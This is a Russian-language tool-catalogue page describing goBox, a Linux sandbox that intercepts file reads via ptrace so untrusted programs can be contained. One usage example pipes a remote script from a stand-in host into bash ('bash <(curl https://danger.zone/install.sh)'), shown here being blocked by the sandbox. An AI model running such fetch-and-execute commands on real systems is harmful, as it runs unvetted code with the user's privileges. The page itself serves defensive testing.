Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
goBox — Песочница Go для выполнения недоверенного кода | Kitploit
Инструменты/GitHubGitHub/nishitm/gobox
Динамический анализ (песочница)Виртуализация для безопасностиУтилиты и фреймворки
GitHubnishitm/gobox

goBox

Песочница Go для выполнения недоверенного кода

Репозиторий
4286 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

goBox

GO-песочница для запуска ненадёжного кода.

goBox использует Ptrace для перехвата системных вызовов READ, предоставляя вам возможность принимать или отклонять системные вызовы до их выполнения.

Использование

root@kitploit:~
Usage of ./gobox:

  gobox [FLAGS] command

  flags:
    -h	Print Usage.
    -n value
        A glob pattern for automatically blocking file reads.
    -y value
        A glob pattern for automatically allowing file reads.

Примеры использования

Вы хотите установить что-либо

root@kitploit:~
> gobox -n "/etc/password.txt" npm install sketchy-module

  BLOCKED READ on /etc/password.txt
root@kitploit:~
> gobox -n "/etc/password.txt" bash <(curl  https://danger.zone/install.sh)

  BLOCKED READ on /etc/password.txt

Вам интересно, какие файлы читает ваша любимая программа.

Конечно, вы могли бы использовать strace, но он ссылается на файловые дескрипторы. goBox делает это гораздо проще, сразу печатая абсолютный путь fd.

root@kitploit:~
> gobox ls
Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]

ПРИМЕЧАНИЕ: Определенно лучше зашифровать все ваши конфиденциальные данные; goBox, вероятно, следует использовать только тогда, когда это неудобно или непрактично.

ПРИМЕЧАНИЕ: Я не прилагал усилий для кроссплатформенной совместимости, поэтому в настоящее время он работает только на Linux. Я с радостью приму патчи для улучшения переносимости.

Скачать инструмент